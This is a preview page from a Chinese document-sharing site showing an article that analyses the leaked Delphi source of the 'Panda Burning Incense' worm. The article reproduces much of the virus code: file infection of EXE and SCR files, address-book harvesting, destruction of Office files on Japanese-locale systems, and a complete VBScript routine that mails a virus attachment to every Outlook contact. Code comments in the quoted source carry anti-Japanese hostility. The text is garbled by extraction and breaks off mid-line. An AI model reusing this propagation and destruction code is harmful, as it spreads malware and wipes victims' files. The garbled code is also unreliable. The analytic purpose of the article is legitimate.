好文档就是一把金锄头!
欢迎来到金锄头文库![会员中心]
电子文档交易市场
安卓APP | ios版本
电子文档交易市场
安卓APP | ios版本

熊猫烧香源码解析.docx

11页
  • 卖家[上传人]:m****
  • 文档编号:546991603
  • 上传时间:2023-04-22
  • 文档格式:DOCX
  • 文档大小:123.41KB
  • / 11 举报 版权申诉 马上下载
  • 文本预览
  • 下载提示
  • 常见问题
    • 熊猫烧香源码解析htt p://ne tsecur ity .51c to .com 2007-02-27 12:59 朱先忠 IT168 我要评 论(17•摘要:随着“熊猫烧香”病毒的始作俑者的落网,关于“熊猫烧香”病毒 的危害和杀毒风波告一段落,然而随着“熊猫烧香”病毒源代码在网上的 流行,一种隐含的巨大的危害仿佛才刚刚开始本文中,作者对这个基于 Delphi 语言所编写的“熊猫烧香源码”做了进一步分析,并阐述了自己 的几点看法•标签:熊猫烧香源码启示Oracle帮您准确洞察各个物流环节引言 去年秋天回趟老家,适逢家中秋收后“祭宅神”期间,听亲家二大娘在香毕吟 颂的《十柱香》的佛歌,深有感触:百姓烧香祝的是神仙幸福,盼的是亲人平安 —这是作为衣食百姓发自内心的心愿!但如今,正待举国上下、一家老小庆祝金 猪佳节到来之际,图1中的这位老兄抢先一步把香烧到了几乎家家户户,烧得各 位焦头烂额,人人喊“杀”试问这位仁兄:你到底想干什么?图1:“熊猫烧香”病毒感染可执行文件后的文件图标在短短一个月时间里,“熊猫烧香”作者多次发布更新版的变种病毒,每一次都 针对以前设计的不完善进行修改,每次更新都几尽感染破坏之能事。

      他为什么要 如此辛劳地研制病毒程序呢?本人十分同意一些防毒软件专家的观点—“‘熊 猫烧香'带有强烈的商业目的,用户感染病毒后,会从后台点击国外的网站,部 分变种中含有盗号木马,病毒作者可借此牟利„„”最近,一份据称是“熊猫烧香”病毒的源代码正在互联网上散播,任何人只要利 用Google或者Baidu等搜索工具都可以轻易获得(本人也是如此取得的代码) 粗略分析该代码后,我们注意到:该病毒在感染至日文操作系统时破坏性尤甚, 但对其它语言 Windows 也造成了严重破坏本文中,我想对这个基于Delphi语言所编写的“熊猫烧香源码”作进一步分析, 并阐述自己的几点看法二、“熊猫烧香”病毒“源码”浅析(一)主程序段分析 原“熊猫烧香”病毒“源码”主程序段代码如下所示:{==================主程序开始 ====================}beginif IsWin9x then //是 Win9xRegisterServiceProcess(GetCurrentProcessID, 1) // 注册为服务进程 else //WinNTbegin//远程线程映射到Explorer进程//哪位兄台愿意完成之?end;//如果是原始病毒体自己if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 t henInfec tFiles //感染和发邮件 else //已寄生于宿主程序上了,开始工作 beginTmpFile := ParamStr(0); //创建临时文件 ....LinenDele te(TmpFile, Leng th(TmpFile) - 4, 4);TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文 件,多一个空格Ext rac tFil e(TmpFile); //分离之FillStartupInfo(Si, SW_SHOWDEFAULT);CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,0, nil, '.', Si, Pi); //创建新进程运行 之 ....Line n+7InfectFiles; //感染和发邮件 end;end.稍加分析,我们不难绘出其相应的执行流程(如图2):图2:主程序流程图对于代码:RegisterServiceProcess(GetCurrentProcessID, 1) // 注册为服务进程虽然源码提供者省略了相应实现,但这是比较基本的编程实现。

      通过把自身注册 为服务进程,可以使自己随着系统的启动一起启动当然,还可以进一步施加技 巧而使自己从 Windows 任务管理器下隐藏显示然后,上面代码在判断当前操作系统不是Win9X后,提到“远程线程映射到Explorer 进程”一句其实这里所用正是Jeffrey Richter所著《Windows 95 Windows NT 3.5高级编程 技术》(后多次更句)一书第16章“闯过进程的边界”中详细讨论的“使用远程线程来注入一 个DLL”技术如今,只要上网GOOGLE 一下“远程线程映射技术”即出现大量实现片断,故在不再赘述那么,它(包括其它许多病毒)为什么要映射到Explorer进程呢?原来,Explorer (注:Windows资源管理器的名字也是Explorer.exe,但并不是一回事!)进程在 Windows系统中举足轻重一Windows在启动过程中都会随同激活一个名为Explorer.exe的进 程它用于管理Windows图形外壳,包括开始菜单、任务栏、桌面和文件管理等,损坏或 删除该程序会导致Windows图形界面无法适用注:这并不是说Windows的运行根本离不 开它;但删除掉这个程序后,整个Windows桌面无法再用,而对于普通用户也感觉到好象 无法再使用Windows 了。

      另注:VCL函数Paramstr(n)的作用是返回当前可执行文件指定的命令行参数;当n=0 时,返回当前可执行文件名(包含完整的路径)因此,上面代码中从第n行到第n+7行的作用是,从已感染的宿主程序中分离出原无 染程序代码部分,并启动此无染程序这是病毒的重要伪装手段之一:不是一下子使宿主中 毒瘫痪,而是感染宿主使之达到继续传播目标的同时,启动另一个原”无毒程序(实际上文 件名已经改变,加了一个空格字符)接下来,让我们深入分析上面流程中“InfectFiles (感染文件)”部分的执行过程二)具体感染文件的过程这个子过程的源码如下所示:{遍历磁盘上所有的文件并实际感染}procedure InfectFiles;varDriverList: string;i, Len: Integer;beginif GetACP = 932 then //日文操作系统函数GetACP用于检索系统所用语言IsJap := True; //去死吧!DriverList := GetDrives; //得到可写的磁盘歹U表Len := Length(DriverList);while True do //死循环beginfor i := Len downto 1 do //遍历每个磁盘驱动器LoopFiles(DriverList + ':', '*.*'); //感染之SendMail; //发带毒邮件Sleep(1000 * 60 * 5); //睡眠5分钟—病毒常用简单诈骗术之一end;end;{ === InfectFiles }这里的核心是后面的死循环。

      先让我们分析较简单的“发带毒邮件”部分从后面病毒具 体遍历可用磁盘并执行具体感染过程可知,此过程中,它会取得安装在本机中的常用邮件客 户端程序(Outlook,FoxMail)相应电子邮件信息其目的是:取得重要邮箱地址及相应密 码,然后向这些邮件地址群发带毒的电子邮件,从而达到利用网络传播自身的目的下面是 从网上摘录的一段VBScript脚本:Set objOA=Wscript.CreateObject("Outlook.Application")'创建一个OUTLOOK应用的对象Set objMapi=objOA.GetNameSpace ("MAPI")'取得MAPI名字空间For i=1 to objMapi.AddressLists.Count'遍历地址簿Set objAddList=objMapi.AddressLists (i)For j=1 To objAddList. AddressEntries.CountSet objMail=objOA.CreateItem ( 0)objMail.Recipients.Add (objAddList.AddressEntries (j))'取得收件人邮件地址objMail.Subject="你好!"'设置邮件主题objMail.Body="这次给你的附件,是我的新文档!"'设置信件内容objMail.Attachments.Add ( “c:\virus.vbs")'把自己作为附件扩散出去objMail.Send'发送邮件NextNextSet objMapi=NothingSet objOA=Nothing注意,这段代码是非常基本的使用VBScript脚本操作Outlook COM对象,并进而达到 通过编程方式操作Outlook发送特定邮件的编程技术。

      其中,最关键的一句在于: objMail.Attachments.Add (“c:\virus.vbs")在此,任何一名病毒制作者都可以把这个附件文件名修改为新病毒文件自身!(三)LoopFiles子过程分析这个子程序的功能是:遍历本地磁盘,并详细实施感染及破坏过程在此列出其关键代 码片断:{遍历目录,感染和摧毁文件}procedure LoopFiles(Path, Mask: string);var//••••••局部变量定义Msg: TMsg;// IsValidDir判断指定对象是否是''目录”......function IsValidDir(SearchRec: TSearchRec): Integer; beginif (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then beginrepeatPeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队歹 U,避免 引起怀疑if IsValidDir(SearchRec) = 0 then beginFn := Path + SearchRec.Name;Ext := UpperCase(ExtractFileExt(Fn));if (Ext ='・EXE') or (Ext ='・SCR') then //Line X beginInfectOneFile(Fn); //感染可执行文件endelse if (Ext ='・HTM') or (Ext ='・HTML') or (Ext ='・ASP') thenbegin//感染HTML和ASP文件,将Base64编码后的病毒写入//感染浏览此网页的所有用户//哪位大兄弟愿意完成之?endelse if Ext ='・ WAB' then //Outlook 地址簿文件 begin//获取Outlook邮件地址endelse if Ext ='・ADC' then //Foxmail 地址自动完成文件 begin//获取Foxmail邮件地址endelse if Ext = 'IND' then //Foxmail 地址簿文件 begin//获取Foxmail邮件地址endelsebeginif IsJap then //是倭文操作系统 beginif (Ext ='・DOC') or (Ext ='・XLS') or (Ext ='・MDB') o thenSmashFile(Fn); //摧毁文。

      点击阅读更多内容
      关于金锄头网 - 版权申诉 - 免责声明 - 诚邀英才 - 联系我们
      手机版 | 川公网安备 51140202000112号 | 经营许可证(蜀ICP备13022795号)
      ©2008-2016 by Sichuan Goldhoe Inc. All Rights Reserved.